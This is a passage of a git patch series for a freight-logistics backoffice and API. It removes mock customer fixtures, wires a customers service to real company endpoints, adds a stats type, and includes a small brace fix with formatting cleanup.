iso("2024-04-03"), - updatedAt: iso("2025-03-22"), - }, - { - id: "c10", - name: "Unity Multimodal Forwarders", - type: "freight_forwarder", - status: "active", - tin: "0101234567", - vatNumber: "VAT-700998", - fanNumber: null, - country: "Ethiopia", - address: "Sululta, Oromia", - phone: "+251 918 901 234", - email: "ops@unitymultimodal.com", - contactPersonName: "Helen Tsegaye", - contactPersonPhone: "+251 918 901 234", - generalManagerName: "Nahom Berhanu", - generalManagerEmail: "nahom@unitymultimodal.com", - generalManagerPhone: "+251 918 555 777", - website: null, - attributes: null, - companyProfiles: [ - { - id: "p14", - companyId: "c10", - type: "freight_forwarder", - reference: "FFW-04088", - status: "active", - businessLicense: "BL-FFW-5521", - createdAt: iso("2024-09-28"), - updatedAt: iso("2024-09-28"), - }, - { - id: "p15", - companyId: "c10", - type: "transporter", - reference: "TRP-04089", - status: "active", - businessLicense: "BL-TRP-5522", - createdAt: iso("2024-09-28"), - updatedAt: iso("2024-09-28"), - }, - { - id: "p16", - companyId: "c10", - type: "exporter", - reference: "EXP-04090", - status: "pending", - businessLicense: null, - createdAt: iso("2025-01-15"), - updatedAt: iso("2025-01-15"), - }, - ], - createdAt: iso("2024-09-28"), - updatedAt: iso("2025-01-15"), - }, -]; - -/** Bookings keyed by companyId. */ -const BOOKINGS_BY_COMPANY: Record = { - c1: [ - { - id: "b1", - reference: "BK-2025-0481", - status: "PAID", - tradeDirection: "IMPORT", - freightType: "CONTAINER", - originLabel: "Djibouti Port", - destinationLabel: "Mojo Dry Port", - totalAmount: 482000, - currency: "ETB", - scheduledDate: iso("2025-05-20"), - createdAt: iso("2025-05-02"), - }, - { - id: "b2", - reference: "BK-2025-0512", - status: "IN_TRANSIT", - tradeDirection: "IMPORT", - freightType: "CONTAINER", - originLabel: "Djibouti Port", - destinationLabel: "Indode Terminal", - totalAmount: 356500, - currency: "ETB", - scheduledDate: iso("2025-06-01"), - createdAt: iso("2025-05-18"), - }, - { - id: "b3", - reference: "BK-2025-0298", - status: "COMPLETED", - tradeDirection: "EXPORT", - freightType: "BULK", - originLabel: "Mojo Dry Port", - destinationLabel: "Djibouti Port", - totalAmount: 198000, - currency: "ETB", - scheduledDate: iso("2025-03-30"), - createdAt: iso("2025-03-12"), - }, - ], - c2: [ - { - id: "b4", - reference: "BK-2025-0633", - status: "PENDING_APPROVAL", - tradeDirection: "IMPORT", - freightType: "CONTAINER", - originLabel: "Djibouti Port", - destinationLabel: "Mojo Dry Port", - totalAmount: 720000, - currency: "ETB", - scheduledDate: null, - createdAt: iso("2025-06-10"), - }, - { - id: "b5", - reference: "BK-2025-0588", - status: "PAID", - tradeDirection: "EXPORT", - freightType: "CONTAINER", - originLabel: "Indode Terminal", - destinationLabel: "Djibouti Port", - totalAmount: 540000, - currency: "ETB", - scheduledDate: iso("2025-06-15"), - createdAt: iso("2025-05-29"), - }, - ], - c6: [ - { - id: "b6", - reference: "BK-2025-0701", - status: "SUBMITTED", - tradeDirection: "IMPORT", - freightType: "BULK", - originLabel: "Djibouti Port", - destinationLabel: "Mojo Dry Port", - totalAmount: 1250000, - currency: "ETB", - scheduledDate: null, - createdAt: iso("2025-06-18"), - }, - ], - c7: [ - { - id: "b7", - reference: "BK-2025-0344", - status: "COMPLETED", - tradeDirection: "EXPORT", - freightType: "BULK", - originLabel: "Mojo Dry Port", - destinationLabel: "Djibouti Port", - totalAmount: 2100, - currency: "USD", - scheduledDate: iso("2025-04-05"), - createdAt: iso("2025-03-20"), - }, - { - id: "b8", - reference: "BK-2025-0410", - status: "CANCELLED", - tradeDirection: "EXPORT", - freightType: "CONTAINER", - originLabel: "Indode Terminal", - destinationLabel: "Djibouti Port", - totalAmount: 3400, - currency: "USD", - scheduledDate: null, - createdAt: iso("2025-04-22"), - }, - ], -}; - -/** Documents keyed by companyId. */ -const DOCUMENTS_BY_COMPANY: Record = { - c1: [ - { - id: "d1", - name: "Business License 2025.pdf", - code: "business_license", - mimeType: "application/pdf", - size: 482_113, - uploadedAt: iso("2025-01-12"), - url: "#", - }, - { - id: "d2", - name: "VAT Registration.pdf", - code: "vat_certificate", - mimeType: "application/pdf", - size: 211_544, - uploadedAt: iso("2024-02-11"), - url: "#", - }, - { - id: "d3", - name: "Trade Agreement - Signed.pdf", - code: "contract", - mimeType: "application/pdf", - size: 1_204_882, - uploadedAt: iso("2025-05-03"), - url: "#", - }, - ], - c2: [ - { - id: "d4", - name: "Forwarding License.pdf", - code: "business_license", - mimeType: "application/pdf", - size: 365_002, - uploadedAt: iso("2023-11-06"), - url: "#", - }, - { - id: "d5", - name: "Company Profile.docx", - code: "company_profile", - mimeType: "application/vnd.openxmlformats-officedocument.wordprocessingml.document", - size: 92_440, - uploadedAt: iso("2024-07-02"), - url: "#", - }, - ], - c6: [ - { - id: "d6", - name: "Import License.pdf", - code: "business_license", - mimeType: "application/pdf", - size: 410_223, - uploadedAt: iso("2024-05-10"), - url: "#", - }, - ], - c7: [ - { - id: "d7", - name: "Export Permit.pdf", - code: "export_permit", - mimeType: "application/pdf", - size: 298_770, - uploadedAt: iso("2024-08-20"), - url: "#", - }, - { - id: "d8", - name: "Quality Certificate.jpg", - code: "quality_certificate", - mimeType: "image/jpeg", - size: 1_882_001, - uploadedAt: iso("2025-03-21"), - url: "#", - }, - ], -}; - -/** Payments keyed by companyId. */ -const PAYMENTS_BY_COMPANY: Record = { - c1: [ - { - id: "pay1", - reference: "PMT-77120", - bookingReference: "BK-2025-0481", - amount: 482000, - currency: "ETB", - method: "telebirr", - status: "success", - paidAt: iso("2025-05-04"), - createdAt: iso("2025-05-03"), - }, - { - id: "pay2", - reference: "PMT-77450", - bookingReference: "BK-2025-0512", - amount: 356500, - currency: "ETB", - method: "cbe-birr", - status: "processing", - paidAt: null, - createdAt: iso("2025-05-19"), - }, - { - id: "pay3", - reference: "PMT-71002", - bookingReference: "BK-2025-0298", - amount: 198000, - currency: "ETB", - method: "telebirr", - status: "success", - paidAt: iso("2025-03-14"), - createdAt: iso("2025-03-13"), - }, - ], - c2: [ - { - id: "pay4", - reference: "PMT-78900", - bookingReference: "BK-2025-0588", - amount: 540000, - currency: "ETB", - method: "cbe-birr", - status: "success", - paidAt: iso("2025-05-30"), - createdAt: iso("2025-05-29"), - }, - { - id: "pay5", - reference: "PMT-79120", - bookingReference: "BK-2025-0633", - amount: 720000, - currency: "ETB", - method: "card", - status: "action-required", - paidAt: null, - createdAt: iso("2025-06-10"), - }, - ], - c7: [ - { - id: "pay6", - reference: "PMT-70044", - bookingReference: "BK-2025-0344", - amount: 2100, - currency: "USD", - method: "card", - status: "success", - paidAt: iso("2025-03-22"), - createdAt: iso("2025-03-21"), - }, - { - id: "pay7", - reference: "PMT-70410", - bookingReference: "BK-2025-0410", - amount: 3400, - currency: "USD", - method: "card", - status: "refunded", - paidAt: iso("2025-04-23"), - createdAt: iso("2025-04-22"), - }, - ], -}; - -export function getCompanyById(id: string): Company | undefined { - return MOCK_COMPANIES.find((c) => c.id === id); -} - -export function getBookingsFor(companyId: string): CustomerBooking[] { - return BOOKINGS_BY_COMPANY[companyId] ?? []; -} - -export function getDocumentsFor(companyId: string): CustomerDocument[] { - return DOCUMENTS_BY_COMPANY[companyId] ?? []; -} - -export function getPaymentsFor(companyId: string): CustomerPayment[] { - return PAYMENTS_BY_COMPANY[companyId] ?? []; -} diff --git a/apps/edr-freight-web/backoffice/src/services/api.ts b/apps/edr-freight-web/backoffice/src/services/api.ts index f5239110d..86d14ef7d 100644 --- a/apps/edr-freight-web/backoffice/src/services/api.ts +++ b/apps/edr-freight-web/backoffice/src/services/api.ts @@ -1,13 +1,17 @@ import { QUERY_KEYS } from "@/constants/QUERY_KEYS"; -import { endpoint } from "@/utils/endpoint"; +import type { FleetResourceSlug } from "@/pages/fleet/config/resources"; +import type { BookingDetail } from "@/types/booking"; import type { - CreateFileUploadFieldDto, - CreateFileUploadSettingDto, - FileUploadField, - FileUploadSetting, - UpdateFileUploadFieldDto, - UpdateFileUploadSettingDto, -} from "@/types/fileUploadSettings"; + Company, + CompanyListFilter, + CompanyProfile, + CompanyStats, + CustomerBooking, + CustomerDocument, + CustomerPayment, + PaginatedCompanies, + ProfileStatus, +} from "@/types/customer"; import { CreateDropdownOptionDto, CreateDropdownSettingDto, @@ -16,72 +20,20 @@ import { UpdateDropdownOptionDto, UpdateDropdownSettingDto, } from "@/types/dropdownSettings"; +import type { + CreateFileUploadFieldDto, + CreateFileUploadSettingDto, + FileUploadField, + FileUploadSetting, + UpdateFileUploadFieldDto, + UpdateFileUploadSettingDto, +} from "@/types/fileUploadSettings"; +import type { IOverviewDashboard, OverviewRange } from "@/types/overview"; import { RuleEngineListResult, RuleEngineRecord, RuleEngineResourceSlug, } from "@/types/rule-engine"; -import { fileUploadSettingsService } from "./fileUploadSettings.service"; -import { dropdownSettingsService } from "./dropdownSettings.service"; -import { - ruleEngineService, - RuleEngineListParams, -} from "./ruleEngine/ruleEngine.service"; -import { - bookingsService, - BookingListFilter, - type ApproveStepPayload, - type PaginatedBookings, - type RejectStepPayload, -} from "./bookings.service"; -import type { BookingDetail } from "@/types/booking"; -import type { IOverviewDashboard, OverviewRange } from "@/types/overview"; -import { overviewService } from "./overview.service"; -import { - cargoService, - type Cargo, - type DeliverCargoPayload, -} from "./cargoService"; -import { containerService, type Container } from "./containerService"; -import { containerTypesService } from "./container-types.service"; -import { - wagonService, - type Wagon, - type WagonListFilters, -} from "./wagon.service"; -import { wagonTypesService, type WagonType } from "./wagon-types.service"; -import { trainService, type Train } from "./trains.service"; -import { - locomotivesService, - type Locomotive, - type SaveLocomotivePayload, -} from "./locomotives.service"; -import { cargoTypesService } from "./cargo-types.service"; -import { - fleetService, - type FleetListFilters, - type FleetRecord, -} from "./fleet/fleet.service"; -import type { FleetResourceSlug } from "@/pages/fleet/config/resources"; -import { - paymentsService, - type PaginatedPayments, - type PaymentListFilter, - type PaymentSummary, -} from "./payments.service"; -import { - signaturesService, - type SavedSignature, - type SaveSignaturePayload, -} from "./signatures.service"; -import { warehouseService } from "./warehouse.service"; -import { trainSchedulingService } from "./trainScheduling.service"; -import { - routesService, - type RouteRecord, - type SaveRoutePayload, - type YardRef, -} from "./routes.service"; import type { AssignBookingsPayload, BatchBoardSchedule, @@ -157,6 +109,66 @@ import type { WarehouseYard, WarehouseZone, } from "@/types/warehouse"; +import { endpoint } from "@/utils/endpoint"; +import { + BookingListFilter, + bookingsService, + type ApproveStepPayload, + type PaginatedBookings, + type RejectStepPayload, +} from "./bookings.service"; +import { cargoTypesService } from "./cargo-types.service"; +import { + cargoService, + type Cargo, + type DeliverCargoPayload, +} from "./cargoService"; +import { containerTypesService } from "./container-types.service"; +import { containerService, type Container } from "./containerService"; +import { customersService } from "./customers.service"; +import { dropdownSettingsService } from "./dropdownSettings.service"; +import { fileUploadSettingsService } from "./fileUploadSettings.service"; +import { + fleetService, + type FleetListFilters, + type FleetRecord, +} from "./fleet/fleet.service"; +import { + locomotivesService, + type Locomotive, + type SaveLocomotivePayload, +} from "./locomotives.service"; +import { overviewService } from "./overview.service"; +import { + paymentsService, + type PaginatedPayments, + type PaymentListFilter, + type PaymentSummary, +} from "./payments.service"; +import { + routesService, + type RouteRecord, + type SaveRoutePayload, + type YardRef, +} from "./routes.service"; +import { + RuleEngineListParams, + ruleEngineService, +} from "./ruleEngine/ruleEngine.service"; +import { + signaturesService, + type SavedSignature, + type SaveSignaturePayload, +} from "./signatures.service"; +import { trainService, type Train } from "./trains.service"; +import { trainSchedulingService } from "./trainScheduling.service"; +import { wagonTypesService, type WagonType } from "./wagon-types.service"; +import { + wagonService, + type Wagon, + type WagonListFilters, +} from "./wagon.service"; +import { warehouseService } from "./warehouse.service"; /** Query keys for inventory-lifecycle mutations that ripple across views. */ const INVENTORY_INVALIDATIONS: ReadonlyArray = [ @@ -1879,6 +1891,64 @@ export const api = { ), }, + customers: { + stats: endpoint, CompanyStats>( + "customers", + "stats", + () => customersService.stats(), + () => QUERY_KEYS.CUSTOMERS.stats, + ), + + list: endpoint<{ filter: CompanyListFilter }, PaginatedCompanies>( + "customers", + "list", + ({ filter }) => customersService.list(filter), + ({ filter }) => QUERY_KEYS.CUSTOMERS.list(filter), + ), + + getById: endpoint<{ id: string }, Company | undefined>( + "customers", + "getById", + ({ id }) => customersService.getById(id), + ({ id }) => QUERY_KEYS.CUSTOMERS.byId(id), + ), + + bookings: endpoint<{ id: string }, CustomerBooking[]>( + "customers", + "bookings", + ({ id }) => customersService.bookingsFor(id), + ({ id }) => QUERY_KEYS.CUSTOMERS.bookings(id), + ), + + documents: endpoint<{ id: string }, CustomerDocument[]>( + "customers", + "documents", + ({ id }) => customersService.documentsFor(id), + ({ id }) => QUERY_KEYS.CUSTOMERS.documents(id), + ), + + payments: endpoint<{ id: string }, CustomerPayment[]>( + "customers", + "payments", + ({ id }) => customersService.paymentsFor(id), + ({ id }) => QUERY_KEYS.CUSTOMERS.payments(id), + ), + + setProfileStatus: endpoint< + { profileId: string; status: ProfileStatus }, + CompanyProfile + >( + "customers", + "setProfileStatus", + ({ profileId, status }) => customersService.setProfileStatus(profileId, status), + undefined, + (_input, data) => [ + QUERY_KEYS.CUSTOMERS.byId(data.companyId), + QUERY_KEYS.CUSTOMERS.ROOT, + ], + ), + }, + overview: { get: endpoint<{ range?: OverviewRange }, IOverviewDashboard>( "overview", @@ -1886,4 +1956,4 @@ export const api = { ({ range }) => overviewService.getDashboard(range), ), }, -}; +}; \ No newline at end of file diff --git a/apps/edr-freight-web/backoffice/src/services/customers.service.ts b/apps/edr-freight-web/backoffice/src/services/customers.service.ts index cc9f47f0b..d375ad7a7 100644 --- a/apps/edr-freight-web/backoffice/src/services/customers.service.ts +++ b/apps/edr-freight-web/backoffice/src/services/customers.service.ts @@ -1,72 +1,90 @@ -/** - * Customers service. - * - * Currently backed by in-memory mock fixtures (`customers.mock.ts`); the public - * surface mirrors the other services (e.g. `bookings.service.ts`) — async - * methods returning `{ items, total }` / detail objects — so it can be pointed - * at the live `/companies` API later without touching the hooks or pages. - */ -import { - getBookingsFor, - getCompanyById, - getDocumentsFor, - getPaymentsFor, - MOCK_COMPANIES, -} from "@/pages/customers/customers.mock"; +import { api as apiClient } from "@/auth/http"; +import { URL_CONSTANTS } from "@/constants/URLS"; import type { Company, CompanyListFilter, + CompanyProfile, + CompanyStats, CustomerBooking, CustomerDocument, CustomerPayment, PaginatedCompanies, + ProfileStatus, } from "@/types/customer"; -/** Simulate network latency so loading states are visible during UI work. */ -const delay = (value: T, ms = 350): Promise => - new Promise((resolve) => setTimeout(() => resolve(value), ms)); - -function matchesSearch(company: Company, search: string): boolean { - const q = search.trim().toLowerCase(); - if (!q) return true; - return ( - company.name.toLowerCase().includes(q) || - company.tin.toLowerCase().includes(q) || - company.email?.toLowerCase().includes(q) === true || - company.companyProfiles.some((p) => p.reference.toLowerCase().includes(q)) +const cleanParams = (params: object) => + Object.fromEntries( + Object.entries(params).filter( + ([, value]) => value !== undefined && value !== "" && value !== null, + ), ); + +/** Lift attributes JSONB into the flat contact/manager fields the UI reads. */ +function mapCompany(dto: Record): Company { + const attrs = (dto.attributes as Record | null) ?? {}; + return { + ...(dto as unknown as Company), + contactPersonName: (attrs.contactPersonName as string | null) ?? null, + contactPersonPhone: (attrs.contactPersonPhone as string | null) ?? null, + generalManagerName: (attrs.generalManagerName as string | null) ?? null, + generalManagerEmail: (attrs.generalManagerEmail as string | null) ?? null, + generalManagerPhone: (attrs.generalManagerPhone as string | null) ?? null, + }; } export const customersService = { + stats(): Promise { + return apiClient + .get(URL_CONSTANTS.COMPANIES.STATS) + .then((r) => r.data); + }, + list(filter: CompanyListFilter): Promise { - const { page, pageSize, search = "", type, status } = filter; - - const filtered = MOCK_COMPANIES.filter( - (c) => - matchesSearch(c, search) && - (!type || c.type === type) && - (!status || c.status === status), - ); - - const start = (page - 1) * pageSize; - const items = filtered.slice(start, start + pageSize); - - return delay({ items, total: filtered.length }); + return apiClient + .get<{ items: Record[]; total: number }>( + URL_CONSTANTS.COMPANIES.BASE, + { params: cleanParams(filter) }, + ) + .then((r) => ({ + items: r.data.items.map(mapCompany), + total: r.data.total, + })); }, getById(id: string): Promise { - return delay(getCompanyById(id)); + return apiClient + .get>(URL_CONSTANTS.COMPANIES.BY_ID(id)) + .then((r) => mapCompany(r.data)); }, bookingsFor(companyId: string): Promise { - return delay(getBookingsFor(companyId)); + return apiClient + .get( + URL_CONSTANTS.COMPANIES.BOOKINGS_CUSTOMER_VIEW(companyId), + ) + .then((r) => r.data); }, documentsFor(companyId: string): Promise { - return delay(getDocumentsFor(companyId)); + return apiClient + .get(URL_CONSTANTS.COMPANIES.DOCUMENTS(companyId)) + .then((r) => r.data); }, paymentsFor(companyId: string): Promise { - return delay(getPaymentsFor(companyId)); + return apiClient + .get( + URL_CONSTANTS.COMPANIES.PAYMENTS_CUSTOMER_VIEW(companyId), + ) + .then((r) => r.data); + }, + + setProfileStatus(profileId: string, status: ProfileStatus): Promise { + return apiClient + .patch( + URL_CONSTANTS.COMPANIES.PROFILE_STATUS(profileId), + { status }, + ) + .then((r) => r.data); }, }; diff --git a/apps/edr-freight-web/backoffice/src/types/customer.ts b/apps/edr-freight-web/backoffice/src/types/customer.ts index 49b2dc850..0cdccc10b 100644 --- a/apps/edr-freight-web/backoffice/src/types/customer.ts +++ b/apps/edr-freight-web/backoffice/src/types/customer.ts @@ -82,6 +82,15 @@ export interface PaginatedCompanies { total: number; } +/** KPI counts returned by GET /companies/stats. */ +export interface CompanyStats { + total: number; + active: number; + pending: number; + suspended: number; + blacklisted: number; +} + /* ------------------------------------------------------------------ * * Related data shown on the customer detail page (mocked for now). * * ------------------------------------------------------------------ */ From fab05569d491b15efeea9cd961160d334a319a98 Mon Sep 17 00:00:00 2001 From: ghost2023 Date: Tue, 23 Jun 2026 10:03:54 +0300 Subject: [PATCH 30/30] fix --- .../modules/companies/companies.service.ts | 47 ++++++++++--------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 50bfe8d75..a4466efb2 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -116,7 +116,7 @@ export class CompaniesService { jobTitle: dto.jobTitle ?? null, isPrimaryContact: dto.isPrimaryContact ?? true, activeProfileType, - onboardingStep: 'company', + onboardingStep: "company", }); // Persist the operational role(s) chosen during onboarding. Types are @@ -158,6 +158,8 @@ export class CompaniesService { async getCompanyStats(): Promise { return this.companiesRepo.getStats(); + } + /** * Begin onboarding: create a DRAFT company + the user's external profile + the * chosen operational role(s) up front, so every subsequent wizard step can @@ -263,7 +265,10 @@ export class CompaniesService { private async generateDraftTin(): Promise { for (let i = 0; i < 10; i++) { const candidate = - "D" + Math.floor(Math.random() * 1_000_000_000).toString().padStart(9, "0"); + "D" + + Math.floor(Math.random() * 1_000_000_000) + .toString() + .padStart(9, "0"); if (!(await this.companiesRepo.existsByTin(candidate))) return candidate; } // Extremely unlikely; fall back to a timestamp-derived value. @@ -293,8 +298,9 @@ export class CompaniesService { `Company for profile ${profile.id} not found`, ); - company.companyProfiles = - await this.companyProfilesRepo.findByCompanyId(company.id); + company.companyProfiles = await this.companyProfilesRepo.findByCompanyId( + company.id, + ); return { profile, company }; } @@ -325,9 +331,9 @@ export class CompaniesService { // one resolves; otherwise aggregate across the whole company. const companyProfileId = profile?.activeProfileType ? ((await this.companyProfilesRepo.findByType( - companyId, - profile.activeProfileType, - )) ?? null) + companyId, + profile.activeProfileType, + )) ?? null) : null; const scope = companyProfileId ? { companyProfileId: companyProfileId.id } @@ -540,18 +546,12 @@ export class CompaniesService { companyUpdates.renewedFrom = dto.renewedFrom; if (dto.renewalDate !== undefined) companyUpdates.renewalDate = dto.renewalDate; - if (dto.renewedTo !== undefined) - companyUpdates.renewedTo = dto.renewedTo; - if (dto.region !== undefined) - companyUpdates.region = dto.region; - if (dto.zone !== undefined) - companyUpdates.zone = dto.zone; - if (dto.woreda !== undefined) - companyUpdates.woreda = dto.woreda; - if (dto.kebele !== undefined) - companyUpdates.kebele = dto.kebele; - if (dto.houseNo !== undefined) - companyUpdates.houseNo = dto.houseNo; + if (dto.renewedTo !== undefined) companyUpdates.renewedTo = dto.renewedTo; + if (dto.region !== undefined) companyUpdates.region = dto.region; + if (dto.zone !== undefined) companyUpdates.zone = dto.zone; + if (dto.woreda !== undefined) companyUpdates.woreda = dto.woreda; + if (dto.kebele !== undefined) companyUpdates.kebele = dto.kebele; + if (dto.houseNo !== undefined) companyUpdates.houseNo = dto.houseNo; if (dto.etradePhone !== undefined) companyUpdates.etradePhone = normalizeE164(dto.etradePhone); @@ -617,7 +617,10 @@ export class CompaniesService { profileId: string, status: ProfileStatus, ): Promise { - const updated = await this.companyProfilesRepo.updateStatus(profileId, status); + const updated = await this.companyProfilesRepo.updateStatus( + profileId, + status, + ); if (!updated) throw new NotFoundException(`Company profile ${profileId} not found`); return updated; @@ -923,9 +926,9 @@ export class CompaniesService { if (profiles.length === 0) return null; const naturalType = - tradeDirection === 'IMPORT' + tradeDirection === "IMPORT" ? ProfileType.importer - : tradeDirection === 'EXPORT' + : tradeDirection === "EXPORT" ? ProfileType.exporter : null;